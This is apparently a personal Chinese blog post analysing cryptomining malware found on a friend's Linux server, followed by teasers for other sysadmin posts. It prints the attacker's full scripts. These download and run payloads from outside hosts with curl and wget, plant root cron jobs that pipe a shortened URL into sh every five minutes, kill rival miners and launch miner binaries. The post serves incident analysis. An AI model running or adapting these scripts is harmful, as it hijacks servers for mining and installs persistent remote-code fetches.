linux服务器被挖矿脚本分析

今天,群里有朋友@我,说服务器中病毒了,让帮忙查看下一下的脚本。本身,对于shell脚本下的病毒还是很感兴趣的,于是就分析了下脚本。


#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
#export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
#chmod +x /tmp/hawk && ps auxf | grep -v grep | grep hawk || nohup /tmp/hawk >/dev/null 2>&1 &
rm -rf /tmp/config.txt
whoami=$( whoami )
if [ ${whoami}x != "root"x ];then
 
curl http://abcde.sw5y.com/l2/lowerv2.sh > /tmp/lower.sh
  
chmod 777 /tmp/lower.sh
  
nohup bash /tmp/lower.sh >/dev/null 2>&1 &
 
if [ ! -f "/tmp/lower.sh" ] ;then
  
wget -P /tmp/ http://abcde.sw5y.com/l2/lowerv2.sh
  
rm /tmp/lower.sh.*
    
rm /tmp/lowerv2.sh.*
 
fi
  
chmod 777 /tmp/lowerv2.sh
  
nohup bash /tmp/lowerv2.sh >/dev/null 2>&1 &
else
  
echo "*/5 * * * * curl -sL https://x.co/6nPMR | sh" > /var/spool/cron/root
  
mkdir -p /var/spool/cron/crontabs
  
echo "*/5 * * * * curl -sL https://x.co/6nPMR | sh" > /var/spool/cron/crontabs/root
 
curl http://abcde.sw5y.com/l2/rootv2.sh > /tmp/root.sh
  
chmod 777 /tmp/root.sh
  
nohup bash /tmp/root.sh>/dev/null 2>&1 &
 
if [ ! -f "/tmp/root.sh" ] ;then
  
wget -P /tmp/ http://abcde.sw5y.com/l2/rootv2.sh
  
rm /tmp/root.sh.*
    
rm /tmp/rootv2.sh.*
 
fi
 
chmod 777 /tmp/rootv2.sh
 
nohup bash /tmp/rootv2.sh >/dev/null 2>&1 &
fi

这个脚本大致分析下,无非是判断用户不为空不是root的话,且如果不存在/tmp/lower.sh文件就下载运行。如果是root用户,就写crontab计划任务每5分钟下载一次脚本。并将脚本重定向到/tmp/root.sh下执行。

那么这个一直被强调下载的rootv2.sh是什么内容呢?

#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
function kills() {
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
pkill -f AnXqV.yam
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
ps ax|grep -o './[0-9]* -c'| xargs pkill -f
pkill -f biosetjenkins
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/conns
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -f /tmp/irq
PORT_NUMBER=3333
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=5555
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=7777
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=14444
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
}
function downloadyam() {
 if [ ! -f "/tmp/config.json" ]; then
   curl http://abcde.sw5y.com/l2/config.json -o /tmp/config.json && chmod +x /tmp/config.json
   if [ ! -f "/tmp/config.json" ]; then
    wget http://abcde.sw5y.com/l2/config.json -P /tmp && chmod +x /tmp/config.json
    rm -rf config.json.*
   fi
 fi
 if [ ! -f "/tmp/bashd" ]; then
   curl http://abcde.sw5y.com/l2/bashd -o /tmp/bashd && chmod +x /tmp/bashd
   if [ ! -f "/tmp/bashd" ]; then
    wget http://abcde.sw5y.com/l2/bashd -P /tmp && chmod +x /tmp/bashd
    rm -rf bashd.*
   fi
   nohup /tmp/bashd -p bashd>/dev/null 2>&1 &
 else
   p=$(ps aux | grep bashd | grep -v grep | wc -l)
   if [ ${p} -eq 1 ];then
    echo "bashd"
   elif [ ${p} -eq 0 ];then
    #nohup /tmp/bashd -p $(hostname)>/dev/null 2>&1 &
    nohup /tmp/bashd -p bashd>/dev/null 2>&1 &
   else
    echo ""
   fi
 fi
 sleep 15
 p=$(ps aux | grep bashd | grep -v grep | wc -l)
 if [ ${p} -eq 1 ];then
  echo "bashd"
 elif [ ${p} -eq 0 ];then
  if [ ! -f "/tmp/pools.txt" ]; then
    curl http://abcde.sw5y.com/l2/pools.txt -o /tmp/pools.txt && chmod +x /tmp/pools.txt
    if [ ! -f "/tmp/pools.txt" ]; then
     wget http://abcde.sw5y.com/l2/pools.txt -P /tmp && chmod +x /tmp/pools.txt
     rm -rf pools.txt.*
    fi
  fi
  if [ ! -f "/tmp/bashe" ]; then
    curl http://abcde.sw5y.com/l2/bashe -o /tmp/bashe && chmod +x /tmp/bashe
    if [ ! -f "/tmp/bashe" ]; then
     wget http://abcde.sw5y.com/l2/bashe -P /tmp && chmod +x /tmp/bashe
     rm -rf bashe.*
    fi
    nohup /tmp/bashe -C /tmp/pools.txt>/dev/null 2>&1 &
  else
    p=$(ps aux | grep bashe | grep -v grep | wc -l)
    if [ ${p} -eq 1 ];then
     echo "bashe"
    elif [ ${p} -eq 0 ];then
     nohup /tmp/bashe -C /tmp/pools.txt>/dev/null 2>&1 &
    else
     echo ""
    fi
  fi
 else
  echo ""
 fi
 sleep 15
 if [ ! -f "/tmp/Xagent" ]; then
     curl http://xmr.enjoytopic.tk/l3/Xagent -o /tmp/Xagent && chmod +x /tmp/Xagent
     if [ ! -f "/tmp/Xagent" ]; then
       wget http://xmr.enjoytopic.tk/l3/Xagent -P /tmp && chmod +x /tmp/Xagent
       rm -rf Xagent.*
     fi
     nohup /tmp/Xagent >/dev/null 2>&1 &
 else
   p=$(ps aux | grep Xagent | grep -v grep | wc -l)
   if [ ${p} -eq 1 ];then
    echo "Xagent"
   elif [ ${p} -eq 0 ];then
    nohup /tmp/Xagent >/dev/null 2>&1 &
   else
    echo ""
   fi
 fi
}
cd /tmp/
while [ 1 ]
do
 kills
 downloadyam
 sleep 600
done

这个脚本大致看了下,一个kills函数和downloadyam函数,kills函数是删除各种服务,脚本。不看不知道,原来他还会下载这么多东西啊。关键是downloadyam函数,满满的都是各种恶意。一小时执行一遍删除然后下载,是为了什么呢?

分析结果

0 2018/04/24 24 日志

记一次天时地利人和的英语考试

一早就准备好下次英语考试的报名工作了。忙忙碌碌到了今天,来个借口说是刚换了工作,学习重心转移到了专业知识上,导致了没有过多的时间去复习。

借口说完了,在我个人博客中记录下这天时地利人和的英语考试。

天时

记一次天时地利人和的英语考试
0 2018/04/15 15 日志

如何在VMware模板中根据不同IP设置多网关地址

因为,灾备中心的环境分的比较细致,导致过多的网段对应不同的网关,在部署灾备环境的时候遇见很多不方便,为了偷懒,想着如何让操作系统模板部署完后自己根据IP地址填写网关。本来想着,写入模板ifcofg-ens192配置文件如下配置:source /etc/sysconfig/network-scripts/ifcfg-ens192 ipcheck_02200059=`echo $IPADDR|awk -F '.' '{pri
如何在VMware模板中根据不同IP设置多网关地址
0 2018/04/14 14 日志

这个感冒终究还是躲不过

早上起来,搜索下"IT个人博客"排名,不知道是我本地缓存问题还是真的付生保个人博客排名上升了。竟然,意外的排在了第一位。今天是感冒后的第7天,刮风那天,我牵着你手,去理想国际看房子。当时,一直担心你会感冒。值得庆幸的是,我感冒了。经过第二天的嗓子疼,第三天的精神恍惚,第四天的鼻子不通气,第五天…第六条..今天有点咳嗽了,感冒也算好点了。感冒药要吃药,而且药不能停。别人吃感冒药是犯困,我怎么是抑郁?  
这个感冒终究还是躲不过
0 2018/04/11 11 日志

Windows2003不能访问samba及Linux不能挂载共享文件夹中NTLMv2的作用

今天收到技术支持邮件,原文如下:由于最近需要测试打印功能,请协助把192.168.0.1服务器的/TESTOUT目录共享到10.0.0.1FTP服务器上,谢谢。前期沟通一直不顺畅,开发的电话一直没有人接听。于是,按照字面意思,将linux上的文件夹共享到Windows下,考虑用samba实现。一般使用SMB(Server Message Block)协议共享文件,都是客户机或是服务器是windows,才会使用。而samba是在Linux上实现SMB协议的自由软件。另外还使用到一个协议CIFS(C
Windows2003不能访问samba及Linux不能挂载共享文件夹中NTLMv2的作用
2 2018/04/09 09 日志

至用户书

尊敬的用户:     付生保个人博客已经正常上线半年了,注册用户一度也达到300多,付费用户100多名。衷心感谢广大用户对我博客的信赖与大力支持。经过半年的运行,与多位作者、用户、资源提供者沟通后,本博客将做出如下调整:下线所有共享的培训视频、电子书、破解软件等资源。为了更好的向大家提供服务,所有资源及相关会员将进行迁移到IT学馆,我们将在最短的时间内,以最好的姿态回归。所有本博客免费及付费用户,很抱歉,给您带了的不便。IT学馆(www.itxueguan
1 2018/04/08 08 日志

rhel7/centos7下transparent_hugepage=never不生效

 尽管THP初衷是为了提升内存的性能,不过一些数据库厂商还是建议直接关闭掉THP,例如:oracle、mariadb、mysql、mongodb等。Transparent HugePages可能会造成内存在运行时的延迟分配。为了避免性能问题,Oracle强烈建议对所有Oracle数据库服务器禁用Transparent HugePages。为了提高性能Oracle建议使用标准HugePages。注:Transparent HugePages内存与标准HugePages内存的差异在于内核k
rhel7/centos7下transparent_hugepage=never不生效
0 2018/04/04 04 日志

vshpere裸磁盘映射RDM及NPIV详解

 在一个存储区域网络(SAN)上,有两种方法为虚拟机配置存储。一种方法是使用VMFS,这是VMwareInfrastructure(VI)提供的专有高性能集群文件系统。一种方法是使用RDM,裸设备映射 (RDM) 将虚拟机数据直接存储在 SAN LUN 中,而不是将其存储在虚拟磁盘文件中。裸设备映射的优点RDM 具有许多优点,但并非在每种情况下都适用。通常,对于易管理性而言,虚拟磁盘文件优于 RDM。但是,当需要裸设备时,必须使用 RDM。RDM 提供几个好处。用户友好的持久名称为所映
vshpere裸磁盘映射RDM及NPIV详解
0 2018/04/04 04 日志

/boot分区到底要不要单独划分

 /boot分区的作用是什么呢?boot分区存放的就是操作系统的内核及在引导过程中使用的文件。不知道你是不是考虑过/boot分区到底要不要单独划分呢?我们今天来聊一聊!不要单独划分百度搜索"/boot分区"要不要单独划分,很多"高手"会发帖告诫所谓的菜鸟说,不要信网上让你单独划分的资料了。那都是老黄历了,现在的系统不需要单独划分/BOOT分区就能安装。可是,真的不单独划分/boot就是"高手"的风范么?/boot分区在当前的系
/boot分区到底要不要单独划分
0 2018/04/04 04 日志

cpu负载与CPU利用率

 在使用Linux系统过程中,遇见最常见的情况是业务部门需要协助查一下当前系统的CPU性能使用情况。摘一段笔记,大致来聊下cpu负载与CPU利用率top命令top命令用于动态地监视进程活动与系统负载等信息,其格式为top。top命令相当强大,能够动态地查看系统运维状态,完全将它看作Linux中的"强化版的Windows任务管理器"。其所代表的含义如下。Ø    第1行:系统时间、运行时间、登录终端数、系统负载(三个数值分别为1分钟、5分
cpu负载与CPU利用率
1 2018/04/04 04 日志